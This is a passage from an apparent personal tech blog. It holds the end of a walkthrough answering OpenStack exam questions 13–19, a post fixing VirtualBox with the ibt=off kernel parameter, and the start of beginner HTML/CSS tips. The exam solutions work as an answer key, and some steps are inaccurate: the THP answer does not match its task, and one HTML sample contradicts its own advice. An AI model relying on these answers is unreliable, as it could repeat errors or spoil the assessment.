</code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute bin]# vgdisplay --- Volume group --- VG Name cinder-volumes System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 4 VG Access read/write VG Status resizable MAX LV 0 Cur LV 1 Open LV 0 Max PV 0 Cur PV 1 Act PV 1 VG Size <10.00 GiB PE Size 4.00 MiB Total PE 2559 Alloc PE / Size 2438 / 9.52 GiB Free PE / Size 121 / 484.00 MiB VG UUID QHk53K-Kj2O-ilc2-pxk6-Upqe-meRE-vfJu6P --- Volume group --- VG Name centos System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 3 VG Access read/write VG Status resizable MAX LV 0 Cur LV 2 Open LV 2 Max PV 0 Cur PV 1 Act PV 1 VG Size <49.00 GiB PE Size 4.00 MiB Total PE 12543 Alloc PE / Size 12542 / 48.99 GiB Free PE / Size 1 / 4.00 MiB VG UUID 2tEud0-Ydx6-cFfX-dZMM-F9IC-l3nc-sLS38v </code></pre></td></tr></table> </div> </div>Well, it’s finished. <blockquote> <h4 id="question-13-installation-and-usage-of-manila-service-05-point">[Question 13] Installation and Usage of Manila Service [0.5 point]</h4> Install the Manila service on the control and compute nodes using the <code>iaas-install-manila-controller.sh</code> and <code>iaas-install-manila-compute.sh</code> scripts, respectively. After installing the service, create a default_share_type share type (without driver support), and then create a shared storage called share01 with a size of 2G and grant permission for OpenStack management network segment to access the share01 directory. Finally, submit the username, password, and IP address of the control node to the answer box. </blockquote> Create a partion for Manila: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute bin]# fdisk /dev/sdc Welcome to fdisk (util-linux 2.23.2). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. Device does not contain a recognized partition table Building a new DOS disklabel with disk identifier 0x6e07efc2. Command (m for help): n Partition type: p primary (0 primary, 0 extended, 4 free) e extended Select (default p): p Partition number (1-4, default 1): First sector (2048-6291455, default 2048): Using default value 2048 Last sector, +sectors or +size{K,M,G} (2048-6291455, default 6291455): Using default value 6291455 Partition 1 of type Linux and of size 3 GiB is set Command (m for help): w The partition table has been altered! Calling ioctl() to re-read partition table. Syncing disks. </code></pre></td></tr></table> </div> </div>Installl the Manila Service in controller node: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# ./iaas-install-manila-controller.sh </code></pre></td></tr></table> </div> </div>Install the Manila Service in compute node: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute bin]# ./iaas-install-manila-compute.sh </code></pre></td></tr></table> </div> </div>Create a default_share_type share type (without driver support): <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# manila type-create default_share_type False </code></pre></td></tr></table> </div> </div>Check the manila type list: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# manila type-list </code></pre></td></tr></table> </div> </div>Create a shared storage called share01 with a size of 2G <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# manila create NFS 2 --name share01 </code></pre></td></tr></table> </div> </div>Check if the operation succeed: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# manila list </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">+--------------------------------------+---------+------+-------------+-----------+-----------+--------------------+-----------------------------+-------------------+ | ID | Name | Size | Share Proto | Status | Is Public | Share Type Name | Host | Availability Zone | +--------------------------------------+---------+------+-------------+-----------+-----------+--------------------+-----------------------------+-------------------+ | 0cdd5acb-5e54-4cdd-9187-467e2800d212 | share01 | 2 | NFS | available | False | default_share_type | compute@lvm#lvm-single-pool | nova | +--------------------------------------+---------+------+-------------+-----------+-----------+--------------------+-----------------------------+-------------------+ </code></pre></td></tr></table> </div> </div>Grant permission for OpenStack management network segment to access the share01 directory. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# manila access-allow share01 ip 192.168.56.0/24 --access-level rw </code></pre></td></tr></table> </div> </div>Check if the operation succeed! <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# manila access-list share01 </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">+--------------------------------------+-------------+-----------------+--------------+--------+------------+----------------------------+------------+ | id | access_type | access_to | access_level | state | access_key | created_at | updated_at | +--------------------------------------+-------------+-----------------+--------------+--------+------------+----------------------------+------------+ | cad9f433-6ad3-4db9-afe1-90dc52374a08 | ip | 192.168.56.0/24 | rw | active | None | 2023-05-06T06:55:13.000000 | None | +--------------------------------------+-------------+-----------------+--------------+--------+------------+----------------------------+------------+ </code></pre></td></tr></table> </div> </div>Done! <blockquote> <h4 id="question-14-barbican-service-installation-and-usage-05-points">[Question 14] Barbican Service Installation and Usage [0.5 points]</h4> Install the Barbican service using the <code>iaas-install-barbican.sh</code> script. After the installation is complete, use the openstack command to create a key named “secret01”. Once created, submit the username, password, and IP address of the control node in the answer box. </blockquote> Well, it’s easy, run <code>iaas-install-barbican.sh</code> in controller node. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# ./iaas-install-barbican.sh </code></pre></td></tr></table> </div> </div>Create a key named “secret01” <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3">[root@controller bin]# openstack secret store --name secret01 --payload secretkey </code></pre></td></tr></table> </div> </div>Done! <blockquote> <h4 id="question-15-cloudkitty-service-installation-and-usage-05-points">[Question 15] Cloudkitty Service Installation and Usage [0.5 points]</h4> Install the cloudkitty service using the <code>iaas-install-cloudkitty.sh</code> script. After installation, enable the hashmap rating module and then create the volume_thresholds group. Create a service matching rule for volume.size and set the price per GB to 0.01. Next, apply discounts to corresponding large amounts of data. Create a threshold in the volume_thresholds group and set a discount of 2% (0.98) if the threshold is exceeded for volumes over 50GB. After completing the setup, submit the username, password, and IP address of the control node in the answer box. </blockquote> Run the script to install the service: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# ./iaas-install-cloudkitty.sh </code></pre></td></tr></table> </div> </div>Enable hashmap: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">[root@controller bin]# openstack rating module enable hashmap </code></pre></td></tr></table> </div> </div>Create hashmap service <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# openstack rating hashmap service create volume.size +-------------+--------------------------------------+ | Name | Service ID | +-------------+--------------------------------------+ | volume.size | 12b61017-6842-4d54-aa44-599d121e5f46 | +-------------+--------------------------------------+ </code></pre></td></tr></table> </div> </div>Create hashmap service group <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# openstack rating hashmap group create volume_thresholds +-------------------+--------------------------------------+ | Name | Group ID | +-------------------+--------------------------------------+ | volume_thresholds | c46c8a1e-1878-4c44-bf36-57c06ce0672b | +-------------------+--------------------------------------+ </code></pre></td></tr></table> </div> </div>Create volume price <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# openstack rating hashmap mapping create -s 12b61017-6842-4d54-aa44-599d121e5f46 -g c46c8a1e-1878-4c44-bf36-57c06ce0672b -t flat 0.01 +--------------------------------------+-------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ | Mapping ID | Value | Cost | Type | Field ID | Service ID | Group ID | Project ID | +--------------------------------------+-------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ | e5f99784-e49c-47ac-98e0-6f818c3ff6fb | None | 0.01000000 | flat | None | 12b61017-6842-4d54-aa44-599d121e5f46 | c46c8a1e-1878-4c44-bf36-57c06ce0672b | None | +--------------------------------------+-------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ </code></pre></td></tr></table> </div> </div>Create service rule <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# openstack rating hashmap threshold create -s 12b61017-6842-4d54-aa44-599d121e5f46 -g c46c8a1e-1878-4c44-bf36-57c06ce0672b -t rate 50 0.98 +--------------------------------------+-------------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ | Threshold ID | Level | Cost | Type | Field ID | Service ID | Group ID | Project ID | +--------------------------------------+-------------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ | a88e4768-defd-4c72-91f2-521b28e3c1a2 | 50.00000000 | 0.98000000 | rate | None | 12b61017-6842-4d54-aa44-599d121e5f46 | c46c8a1e-1878-4c44-bf36-57c06ce0672b | None | +--------------------------------------+-------------+------------+------+----------+--------------------------------------+--------------------------------------+------------+ </code></pre></td></tr></table> </div> </div>Done! <blockquote> <h4 id="question-16-openstack-platform-memory-optimization-05-points">[Question 16] OpenStack Platform Memory Optimization [0.5 points]</h4> After setting up the OpenStack platform, disable memory sharing in the system and enable transparent huge pages. After completing this, submit the username, password, and IP address of the control node to the answer box. </blockquote> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# find / -name defrag </code></pre></td></tr></table> </div> </div>Disable memory sharing in the system and enable transparent huge pages. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# echo never > /sys/kernel/mm/transparent_hugepage/defrag </code></pre></td></tr></table> </div> </div>Check the fianl result: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# cat /sys/kernel/mm/transparent_hugepage/defrag always madvise [never] </code></pre></td></tr></table> </div> </div>Done! <blockquote> <h4 id="question-17-modify-file-handle-count-05-points">Question 17] Modify file handle count [0.5 points]</h4> In a Linux server with high concurrency, it is often necessary to tune the Linux parameters in advance. By default, Linux only allows a maximum of 1024 file handles. When your server reaches its limit during high concurrency, you will encounter the error message “too many open files”. To address this, create a cloud instance and modify the relevant configuration to permanently increase the maximum file handle count to 65535 for the control node. After completing the configuration, submit the username, password, and IP address of the controller node to the answer box. </blockquote> Get the information of the maximum file handles: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# ulimit -n 1024 </code></pre></td></tr></table> </div> </div>Change the settings: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# echo "* soft nofile 65535" >> /etc/security/limits.conf [root@controller ~]# echo "* hard nofile 65535" >> /etc/security/limits.conf </code></pre></td></tr></table> </div> </div>Finally just reconnect to the ssh shell, and get the maximum file handles again. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# ulimit -n 65535 </code></pre></td></tr></table> </div> </div><blockquote> <h4 id="question-18-linux-system-tuning---dirty-data-writing-back-10-point">[Question 18] Linux System Tuning - Dirty Data Writing Back [1.0 point]</h4> There may be dirty data in the memory of a Linux system, and the system generally defaults to writing back to the disk after 30 seconds of dirty data. Modify the system configuration file to temporarily adjust the time for writing back to the disk to 60 seconds. After completion, submit the username, password, and IP address of the controller node to the answer box. </blockquote> Just edit the file <code>/etc/sysctl.conf</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# vim /etc/sysctl.conf </code></pre></td></tr></table> </div> </div>Add this property into it: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">vm.dirty_writeback_centisecs = 6000 </code></pre></td></tr></table> </div> </div>Then execute: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# sysctl -p </code></pre></td></tr></table> </div> </div>Verify: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# cat /proc/sys/vm/dirty_writeback_centisecs 6000 </code></pre></td></tr></table> </div> </div>Done! <blockquote> <h4 id="question-19-linux-system-tuning---preventing-syn-attacks-05-points">[Question 19] Linux System Tuning - Preventing SYN Attacks [0.5 points]</h4> Modify the relevant configuration files on the controller node to enable SYN cookies and prevent SYN flood attacks. After completion, submit the username, password, and IP address of the controller node to the answer box. </blockquote> Edit the file <code>/etc/sysctl.conf</code> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# vim /etc/sysctl.conf </code></pre></td></tr></table> </div> </div>Add these properties into it: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">net.ipv4.tcp_max_syn_backlog=2048 net.ipv4.tcp_syncookies=1 net.ipv4.tcp_syn_retries = 0 </code></pre></td></tr></table> </div> </div>Then execute: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# sysctl -p </code></pre></td></tr></table> </div> </div>Done! <h2 id="conclusion">Conclusion</h2> Well, finally, I finished all the steps of establishing the OpenStack! These are the notes of the process.

2023/5/4

Attempt to Solve the Problem of VirtualBox Stuck on 'Starting' When Starting a Virtual Machine

<div class="featured-image"> <img src="/img/photo_2023-03-06_20-52-14.jpg" referrerpolicy="no-referrer"> </div><h1 id="prologue-what-was-the-problem">Prologue: What was the problem?</h1> Today, I felt like playing around with VirtualBox and discovered that every virtual machine was stuck at <code>Starting virtual machine.</code>. The first step when encountering a problem is to go to Google. Hmm… I found two posts on the official Arch forum. <ul> <li> <a href="https://bbs.archlinux.org/viewtopic.php?id=277409" target="_blank" rel="noopener noreffer ">Virtualbox hangs on Starting virtual machine window / Newbie Corner / Arch Linux Forums</a> </li> <li> <a href="https://bbs.archlinux.org/viewtopic.php?id=276699" target="_blank" rel="noopener noreffer ">KVM busted in linux 5.18 due to Intel CET / Kernel & Hardware / Arch Linux Forums</a> </li> </ul> After reading the two posts, I discovered that it was due to a bug in KVM in the new version of the kernel. Fortunately, a skilled individual had already submitted a bug report. <ul> <li> <a href="https://bugs.archlinux.org/task/75481" target="_blank" rel="noopener noreffer ">FS#75481 : [linux] VBox virtual machines stop functioning</a> </li> <li> <a href="https://github.com/torvalds/linux/commit/991625f3dd2cbc4b787deb0213e2bcf8fa264b21" target="_blank" rel="noopener noreffer ">x86/ibt: Add IBT feature, MSR and #CP handling · torvalds/linux@991625f · GitHub</a> </li> </ul> <del>As for how this bug came about… I’m not sure, I’m not that knowledgeable.</del> <h1 id="thinking-about-how-to-solve-it">Thinking about how to solve it</h1> Based on the content of the posts I’ve read, the solution is to set the kernel parameter <code>ibt=off</code>. <blockquote> Thank you appending <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">ibt=off </code></pre></td></tr></table> </div> </div>to kernel boot params fixed my problem. </blockquote> <h2 id="how-do-i-set-kernel-boot-parameters">How do I set kernel boot parameters?</h2> Since I didn’t know how to do this, I went to Google and found a method. <ul> <li><a href="https://linuxconfig.org/how-to-set-kernel-boot-parameters-on-linux" target="_blank" rel="noopener noreffer ">How to set kernel boot parameters on Linux - Linux Tutorials - Learn Linux Configuration</a></li> </ul> <h2 id="proposed-solution">Proposed Solution</h2> Actually, the solution is to edit the value of GRUB_CMDLINE_LINUX="" in the /etc/default/grub file and add “ibt=off” to it. <h1 id="solution-steps">Solution Steps</h1> <h2 id="1-edit-the-etcdefaultgrub-file">1. Edit the <code>/etc/default/grub</code> file</h2> The purpose of editing this file is to set the kernel boot parameters. The method for setting this may vary depending on the system booted by different bootloaders. As I am using Grub in my Arch system, I need to edit this file. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ sudo vim /etc/default/grub </code></pre></td></tr></table> </div> </div>Find the keyword <code>GRUB_CMDLINE_LINUX=""</code> and add the parameter <code>ibt=off</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 7 8 9 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"># GRUB boot loader configuration GRUB_DEFAULT=0 GRUB_TIMEOUT=5 GRUB_DISTRIBUTOR="Arch" GRUB_CMDLINE_LINUX_DEFAULT="loglevel=7" GRUB_CMDLINE_LINUX="ibt=off" ...... </code></pre></td></tr></table> </div> </div>Enter <code>:</code> and type <code>wq</code> to save and exit the file (this is a basic operation and requires no further explanation). <h2 id="2-regenerate-the-grub-configuration-file">2. Regenerate the Grub configuration file</h2> Then, regenerate the Grub configuration file. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ sudo grub-mkconfig -o /boot/grub/grub.cfg </code></pre></td></tr></table> </div> </div>Wait for the operation to complete. If there are no errors, you can restart the operating system. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ sudo reboot </code></pre></td></tr></table> </div> </div><h1 id="testing-and-verification">Testing and Verification</h1> After restarting the system, open VirtualBox again and start a virtual machine. At this point, it should successfully enter the system. This means that the problem has been solved.

2023/3/6

Some Thoughts on Writing HTML and CSS

<div class="featured-image"> <img src="https://w.wallhaven.cc/full/zy/wallhaven-zygeko.jpg" referrerpolicy="no-referrer"> </div><h1 id="introduction">Introduction</h1> Many beginners often encounter some basic problems when learning HTML and CSS, which can be frustrating. I originally didn’t want to write about basic topics, but I feel that some people may need to see this kind of content…so here are some tips. There is not much to say, just some issues related to syntax and usage. <h1 id="common-issues-i-have-noticed">Common Issues I Have Noticed</h1> <h2 id="html-syntax-problems">HTML Syntax Problems</h2> <h3 id="tag-order-problems">Tag Order Problems</h3> I often get asked questions like “Why isn’t my content showing up when I put the tags in?”, or “Why isn’t this working…” and so on. The first question I was asked was why the content of the title (<code><h1></code> tag) wasn’t showing up. I took a look at their code: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>Test</title> </head> <body> <p> ppp <h1>TT</h1> pppp </p> </body> </html> </code></pre></td></tr></table> </div> </div>I couldn’t believe it – they put the <code><h1></code> tag inside the <code></code> tag… It’s clear that they aren’t familiar with either of these tags. Both <code><h1></code> and <code></code> are block-level elements, and by default the font size of <code><h1></code> is larger than that of <code></code>. Therefore, putting them together may result in display errors. Normally, these two tags exist on the same level, and both will occupy a line to display. If the larger <code><h1></code> tag is nested inside the smaller one, of course you won’t be able to see it~ In summary, there cannot be headings within paragraphs, and they cannot be nested within each other. Therefore, the correct way to write it should be as follows: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>Test</title> </head> <body> <h1>The Title Of An article.</h1> <p>The Paragraph.</p> </body> </html> </code></pre></td></tr></table> </div> </div><h3 id="missing-symbols">Missing Symbols</h3> Sometimes I get asked about this issue as well, and I feel like these are all basic errors. Looking at the code, I’m like, <del>“What is this mess?"</del> It’s clearly not standard HTML. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>Test</title </head> <body> <div> <h1>Test</h1 <p Text</p> <div> /body> </html> </code></pre></td></tr></table> </div> </div>This type of code… Either they weren’t paying attention when writing it or they’re not familiar with how to use these tags. Or perhaps they don’t know how to represent tags. Let me explain again: there are two types of tags, single tags and double tags. Taking the tag for inserting an image as an example, the single tag looks like this: <code><img /></code>. The <code><</code> at the beginning and <code>></code> at the end can’t be left out, and it’s best to add a <code>/</code> before the closing <code>></code>. As for double tags, let’s take the paragraph tag as an example: <code>This is a paragraph.</code>. This type of double tag must have an opening and closing tag. Neither the beginning nor the end can be left out. When writing double tags and there’s nesting involved, it’s a good habit to indent each level on a new line. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>Test</title> </head> <body> <div class="Box1"> <div class="Box2"> <h1>Title</h1> <ul> <li> <p>Para1</p> </li> <li> <p>Para2</p> </li> </ul> </div> </div> </body> </html> </code></pre></td></tr></table> </div> </div>This way, the code is not only beautiful, but it’s also easier to maintain and troubleshoot in the future. <h3 id="not-differentiating-between-head-and-body">Not Differentiating Between <code><head></code> and <code><body></code></h3> In addition to the aforementioned issues, there are even cases where people write <code><div></code> tags inside the <code><head></code>, which indicates that they haven’t yet distinguished between the HTML header and content display areas. I can only explain it this way: <ul> <li> The <code><head></code> section is the header information area, which is what the server sends to the browser. The code inside it is not rendered on the page in the browser. </li> <li> The <code><body></code> section is the content display area, used to write tags that can be displayed. You can also write <code><script></code> tags with JavaScript code nested inside, but CSS styles cannot be written here. </li> </ul> <h2 id="css-problems">CSS Problems</h2> In addition to syntax issues and not differentiating between sections in HTML, there are also some strange questions people ask me when writing CSS. <h3 id="referencing-stylesheets">Referencing Stylesheets</h3> There are three ways to reference CSS stylesheets, according to textbooks, but the most commonly used are two. My personal favorite is to use <code><link></code> to link the stylesheet. This way, you can split it into two files and write them side by side, making it very convenient. You don’t need to flip back and forth like with inline styles. As for inline styles? They’re not used much, I almost never use them in practice. But there are still people who don’t know how to link stylesheets? The main issue is not understanding the concept of paths. It’s actually very simple – just remember the relative path and then fill it into the <code>href</code> attribute value of the <code><link></code> tag. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><link type="text/css" rel="stylesheet" href="css/style.css" /> </code></pre></td></tr></table> </div> </div>Of course, there are still people who don’t know how to use inline styles, but there’s not much to say about it. Just remember that the <code><style></code> tag must be placed inside the <code><head></code> section and then write the styles using the correct CSS format inside the <code><style></code> tag. For example： <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <style type="text/css"> *{ margin: 0; padding: 0; } .TopHead{ background-color: white; border: solid 1px black; width: 100px; height: 200px; } </style> <body> <div class="TopHead"> </div> </body> </html> </code></pre></td></tr></table> </div> </div><h3 id="when-writing-css-losing---and--and-misspelling-words">When writing CSS, losing <code>;</code>, <code>{</code>, and <code>}</code> and misspelling words.</h3> These are all minor mistakes that can be improved with more practice and attention. The correct template should look like this: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css">Selector { Property: value; } </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css">.TopHead{ background-color: white; border: solid 1px black; width: 100px; height: 200px; } </code></pre></td></tr></table> </div> </div><h3 id="remove-default-padding-and-margin">Remove default padding and margin</h3> Many beginners do not develop the habit of resetting default padding and margin in CSS when they start coding, which leads to difficulty in styling as they progress. In fact, it’s quite simple: <div class="highlight"><div 